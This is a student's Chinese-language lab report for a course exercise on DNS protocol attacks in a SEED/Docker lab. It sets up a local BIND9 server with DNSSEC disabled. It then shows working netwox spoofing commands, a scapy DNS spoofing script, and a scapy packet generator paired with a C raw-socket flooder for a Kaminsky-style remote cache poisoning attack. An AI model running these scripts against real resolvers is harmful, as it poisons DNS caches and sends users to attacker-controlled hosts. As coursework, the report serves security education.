计算机网络安全Lab2

20220415 计算机网络安全(王美珍老师) 实验2 DNS协议漏洞利用

实验环境

和上个实验一样,用Seed的Ubuntu 16配合Docker

  • 用户机:192.168.60.2
  • DNS服务器:192.168.60.4
  • 攻击机:192.168.60.1

配置本地DNS服务器

沿用Lab1的配置,新开一个容器作为DNS服务器

# Seed Ubuntu 16
sudo docker run -it --name=dns --hostname=dns --net=intranet --ip=192.168.60.4 "seedubuntu" /bin/bash

注意这里与之前开容器不一样的是少了--privilege参数,如果带上这个参数的话会导致bind9无法正常启动

本来想直接从DockerHub上pull个bind9下来,避免配置过程中出现各种问题,结果seed平台系统版本太低了,没有合适的版本…

配置DNS缓存转储 & 关闭DNSSEC功能

为方便查看DNS缓存,需要将信息从DNS cache里转存到文件中。在/etc/bind/named.conf.options配置dump-file条目

DNSSEC功能可以防止对DNS服务器的spoofing攻击。为了顺利进行实验,需要手动关闭。

修改 /etc/bind/named.conf.options

  1. 注释掉dnssec-validation条目
  2. 添加dnssec-enable条目

修改后如下

image-20220507145830855

创建区域

进入容器后,修改/etc/bind/named.conf.default-zones的内容如下所示

// prime the server with knowledge of the root servers
zone "." {
	type hint;
	file "/etc/bind/db.root";
};

// be authoritative for the localhost forward and reverse zones, and for
// broadcast zones as per RFC 1912

zone "localhost" {
	type master;
	file "/etc/bind/db.local";
};

zone "127.in-addr.arpa" {
	type master;
	file "/etc/bind/db.127";
};

zone "0.in-addr.arpa" {
	type master;
	file "/etc/bind/db.0";
};

zone "255.in-addr.arpa" {
	type master;
	file "/etc/bind/db.255";
};

// 配置正向查找区域,从域名到ip地址
zone "example.com" {
	type master;
	file "/etc/bind/example.com.db";
};

// 配置反向查找区域,从ip地址到域名
zone "0.168.192.in-addr.arpa" {
    type master;
    file "/etc/bind/192.168.0.db";
};

指导书中修改的是/etc/bind/named.conf.default-zones/etc/bind/named.conf.local,由于/etc/bind/named.conf中引用了这三个部分,所以在哪儿修改都一样了,这里挑default-zones修改是为了方便对照格式看,也可以改别的。

include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";

/etc/bind/example.com.db从https://seedsecuritylabs.org/Labs_16.04/Networking/DNS_Local/example.com.db官网上下载,/etc/bind/192.168.0.db从群里下载,内容为

$TTL 3D
@	IN	SOA	ns.example.com. admin.example.com. (
		2008111001
		8H
		2H
		4W
		1D)
@	IN	NS	ns.example.com.

101	IN	PTR	www.example.com.
102	IN	PTR	mail.example.com.
10	IN	PTR	ns.example.com.

配置完成后启动bind9

# dns
service bind9 start

配置用户机

用户机的DNS服务器需要设置为刚刚配置的本地DNS服务器

修改/etc/resolv.conf注释掉

本地DNS攻击

直接欺骗用户

使用netwox 105进行攻击,攻击前需要用以下命令清空缓存

image-20220507151004281

sudo netwox 105 -h "www.baidu.com" -H "1.2.3.4" -a "ns.baidu.com" -A "5.6.7.8" --filter "src host 192.168.60.2" --device "docker2"
参数解释
-hwww.baidu.com欺骗的域名
-H“1.2.3.4”将域名欺骗到的IP地址
-a“ns.baidu.com”欺骗的域名服务器
-A“5.6.7.8”将域名服务器欺骗到的IP地址
–filter“src host 192.168.60.2”过滤出从用户机发出的包
–device“docker2”在docker2网卡上进行截包

攻击效果如图,在用户机HostA上dig www.baidu.com获取到的信息已经是被欺骗的信息了。说明HostA发出的DNS请求被攻击机的攻击欺骗了。

img

本地DNS缓存中毒

netwox攻击

命令依旧,但是效果不是很好,需要注意的是这次过滤的是DNS服务器发出的DNS请求,需要将filter设置如下,需要增加spoofing参数,值为"raw"。

# Seed Ubuntu 16
sudo netwox 105 -h "www.baidu.com" -H "1.2.3.4" -a "ns.baidu.com" -A "5.6.7.8" --filter "src host 192.168.60.4" --device "docker2" --spoofip "raw" --ttl 600

如果不设置--spoofing "raw"的话,netwox将会同时进行IP欺骗和MAC欺骗,但是为了获取MAC地址,netwox会发出ARP请求,询问欺骗IP的MAC地址。但是欺骗IP通常是外部DNS服务器的IP,该服务器与攻击机不在同一个LAN上,没有主机会回应ARP请求,最终导致netwox会等待一段时间,错过欺骗时机。

为提高实验的成功率,可以在宿主机上增加docker2网络的对外访问时延,命令

# Seed Ubuntu 16
sudo tc qdisc add dev docker2 root netem delay 2s

(此处或许应该解释一些上面的具体参数)

攻击前需要清空本地DNS服务器的缓存,使用以下命令

# dns
rndc flush

在宿主机启动攻击后,需要在用户机dig www.baidu.com触发攻击,但是攻击速度好像有点不够,在wireshark抓包发现攻击速度在一次dig中大概只能枚举2个左右事务编号,无法满足攻击要求。下图为wireshark抓包结果。

image-20220507213016398

使用以下命令在缓存中完全看不到结果,也难怪舍友说这个要试好久

# 查看缓存
# dns
rndc dumpdb -cache && cat /var/cache/bind/dump.db | grep "baidu"

scapy攻击

使用scapy进行攻击的代码,同样还是针对域名www.baidu.com

#!/usr/bin/python
from scapy.all import *


def spoof_dns(pkt):
    if (DNS in pkt and 'www.baidu.com' in pkt[DNS].qd.qname):
        
        # Swap the source and destination IP address
        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

        # Swap the source and destination port number
        UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

        # The Answer Section
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                       ttl=259200, rdata='2.2.2.2')

        # The Authority Section
        NSsec1 = DNSRR(rrname='baidu.com', type='NS',
                       ttl=259200, rdata='ns1.baidu.com')
        NSsec2 = DNSRR(rrname='baidu.com', type='NS',
                       ttl=259200, rdata='ns2.baidu.com')

        # The Additional Section
        Addsec1 = DNSRR(rrname='ns1.baidu.com', type='A',
                        ttl=259200, rdata='1.2.3.4')
        Addsec2 = DNSRR(rrname='ns2.baidu.com', type='A',
                        ttl=259200, rdata='5.6.7.8')

        # Construct the DNS packet
        DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                     qdcount=1, ancount=1, nscount=2, arcount=2,
                     an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2)

        # Construct the entire IP packet and send it out
        spoofpkt = IPpkt/UDPpkt/DNSpkt
        send(spoofpkt)


# Sniff UDP query packets and invoke spoof_dns().
pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)

可以看到攻击效果拔群,在客户机上出现了欺骗信息,在服务器上出现了中毒缓存

image-20220507221207720

(netwox为什么会这么慢呢?)

远程DNS攻击

配置

为了让攻击能够有效果,而不是简简单单地只是污染了一下DNS的缓存,这里需要使用一个假域名,配合攻击者自制DNS服务器进行攻击

本地DNS服务器配置

由于要让本地DNS服务器去找example.com的域名服务器查询结果,需要手动取消本地DNS服务器中对example.com的解析(注释掉就好),并让本地DNS服务器将ns.qsy.net识别为一个真实的域,这样本地DNS服务器就不需要从一个不存在的域请求IP地址了。

/etc/bind/named.conf.default-zones中添加配置

//zone "example.com" {
//      type master;
//      file "/etc/bind/example.com.db";
//};

zone "ns.qsy.net" {
        type master;
        file "/etc/bind/qsy.db";
};

新建文件/etc/bind/qsy.db

;
; BIND data file for local loopback interface
;
$TTL 604800
@ 	IN SOA 		localhost. root.localhost. (
    2 ; Serial
    604800 ; Refresh
    86400 ; Retry
    2419200 ; Expire
    604800 ) ; Negative Cache TTL
; 
@ 	IN NS 		ns.qsy.net.
@ 	IN A 		192.168.60.1
@ 	IN AAAA 	::1

攻击机DNS服务器配置

/etc/bind/named.conf.default-zones中添加配置

zone "example.com" {
    type master;
    file "/etc/bind/qsy.attack.db"
}

新建文件/etc/bind/qsy.attack.db

$TTL 3D
@ 				IN SOA ns.example.com. admin.example.com. (
    2008111001
    8H
    2H
    4W
    1D)
@ 				IN 	NS 	ns.dnslabattacker.net.
@ 				IN 	MX 	10 mail.example.com.
www 			IN 	A 	1.1.1.1
mail 			IN 	A 	1.1.1.2
*.example.com	IN 	A 	1.1.1.100

攻击代码

python写的生成攻击报文(请求包与应答包)的generate_dns.py

from scapy.all import *

name = 'abcde.example.com'
Qdsec = DNSQR(qname=name)

# query
ip_q = IP(dst='192.168.60.4', src='192.168.60.1')
udp_q = UDP(dport=53, sport=33333, chksum=0)
dns_q = DNS(id=0xAAAA, qr=0, rd=1, qdcount=1,
            ancount=0, nscount=0, arcount=0, qd=Qdsec)
pkt_q = ip_q/udp_q/dns_q

# reply
ip_r = IP(dst='192.168.60.4', src='199.43.135.53', chksum=0)
udp_r = UDP(dport=33333, sport=53, chksum=0)
Anssec = DNSRR(rrname=name, type='A', rdata='2.3.4.5', ttl=259200)
NSsec = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.qsy.net')
Addsec = DNSRR(rrname='ns.qsy.net', type='A', ttl=259200, rdata='192.168.60.1')
dns_r = DNS(id=0xAAAA, aa=1, rd=0, qr=1, qdcount=1, ancount=1,
            nscount=1, arcount=1, qd=Qdsec, an=Anssec, ns=NSsec, ar=Addsec)
pkt_r = ip_r/udp_r/dns_r

# save
with open('query.bin', 'wb')as f:
    f.write(bytes(pkt_q))
with open('reply.bin', 'wb')as f:
    f.write(bytes(pkt_r))

C写的利用生成的报文进行快速攻击的魔改udp.c

// ----udp.c------
// This sample program must be run by root lol!
//
// The program is to spoofing tons of different queries to the victim.
// Use wireshark to study the packets. However, it is not enough for
// the lab, please finish the response packet and complete the task.
//
// Compile command:
// gcc -lpcap udp.c -o udp
//
#include <errno.h>
#include <fcntl.h>
#include <libnet.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

// The packet length
#define PCKT_LEN 8192
#define FLAG_R 0x8400
#define FLAG_Q 0x0100

// Can create separate header file (.h) for all headers' structure

// The IP header's structure
struct ipheader {
    unsigned char iph_ihl : 4, iph_ver : 4;
    unsigned char iph_tos;
    unsigned short int iph_len;
    unsigned short int iph_ident;
    // unsigned char iph_flag;
    unsigned short int iph_offset;
    unsigned char iph_ttl;
    unsigned char iph_protocol;
    unsigned short int iph_chksum;
    unsigned int iph_sourceip;
    unsigned int iph_destip;
};

// UDP header's structure
struct udpheader {
    unsigned short int udph_srcport;
    unsigned short int udph_destport;
    unsigned short int udph_len;
    unsigned short int udph_chksum;
};
struct dnsheader {
    unsigned short int query_id;
    unsigned short int flags;
    unsigned short int QDCOUNT;
    unsigned short int ANCOUNT;
    unsigned short int NSCOUNT;
    unsigned short int ARCOUNT;
};
// This structure just for convinience in the DNS packet, because such 4 byte
// data often appears.
struct dataEnd {
    unsigned short int type;
    unsigned short int class;
};
// total udp header length: 8 bytes (=64 bits)

unsigned int checksum(uint16_t *usBuff, int isize) {
    unsigned int cksum = 0;
    for (; isize > 1; isize -= 2) {
        cksum += *usBuff++;
    }
    if (isize == 1) {
        cksum += *(uint16_t *)usBuff;
    }
    return (cksum);
}

// calculate udp checksum
uint16_t check_udp_sum(uint8_t *buffer, int len) {
    unsigned long sum = 0;
    struct ipheader *tempI = (struct ipheader *)(buffer);
    struct udpheader *tempH =
        (struct udpheader *)(buffer + sizeof(struct ipheader));
    struct dnsheader *tempD =
        (struct dnsheader *)(buffer + sizeof(struct ipheader) +
                             sizeof(struct udpheader));
    tempH->udph_chksum = 0;
    sum = checksum((uint16_t *)&(tempI->iph_sourceip), 8);
    sum += checksum((uint16_t *)tempH, len);
    sum += ntohs(IPPROTO_UDP + len);
    sum = (sum >> 16) + (sum & 0x0000ffff);
    sum += (sum >> 16);
    return (uint16_t)(~sum);
}
// Function for checksum calculation. From the RFC,
// the checksum algorithm is:
//  "The checksum field is the 16 bit one's complement of the one's
//  complement sum of all 16 bit words in the header.  For purposes of
//  computing the checksum, the value of the checksum field is zero."
unsigned short csum(unsigned short *buf, int nwords) {
    unsigned long sum;
    for (sum = 0; nwords > 0; nwords--) sum += *buf++;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short)(~sum);
}

void get_random_name(char *name) {
    char a[26] = "abcdefghijklmnopqrstuvwxyz";
    name[5] = 0;
    for (int k = 0; k < 5; k++) name[k] = a[rand() % 26];
}

void mysend(char *buffer, int pkt_size) {
    struct sockaddr_in dest_info;
    int enable = 1;

    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

    setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable));

    struct ipheader *ip = (struct ipheader *)buffer;
    dest_info.sin_family = AF_INET;
    dest_info.sin_addr.s_addr = ip->iph_destip;

    sendto(sock, buffer, pkt_size, 0, (struct sockaddr *)&dest_info,
           sizeof(dest_info));
    close(sock);
}

int main(int argc, char *argv[]) {
    int times = 1;
    char query_buff[PCKT_LEN];
    char reply_buff[PCKT_LEN];
    int rand_name[10];

    FILE *f_q = fopen("query.bin", "rb");
    int query_size = fread(query_buff, 1, PCKT_LEN, f_q);
    FILE *f_r = fopen("reply.bin", "rb");
    int reply_size = fread(reply_buff, 1, PCKT_LEN, f_r);

    unsigned short id_net_order[65560];
    for (unsigned short i = 1; i < 65535; ++i) {
        id_net_order[i] = htons(i);
    }
    
    int cnt = 10;
 	while (cnt --) {
        printf("%d:attack\n", times++);
        get_random_name(rand_name);

        // query
        memcpy(query_buff + 41, rand_name, 5);
        memcpy(reply_buff + 41, rand_name, 5);
        memcpy(reply_buff + 64, rand_name, 5);
        mysend(query_buff, query_size);

        // attack
        for (unsigned short i = 0x4000; i < 65535; i++) {
            memcpy(reply_buff + 28, &id_net_order[i], 2);
            mysend(reply_buff, reply_size);
        }
        sleep(0.3);
    }

    close(f_q);
    close(f_r);
    return 0;
}

为增加攻击成功的概率,可以调整虚拟机对外访问时延

sudo tc qdisc add dev ens33 root netem delay 2s

攻击效果

fc9aeaf079a9dd1c52bc8906b9a7ff05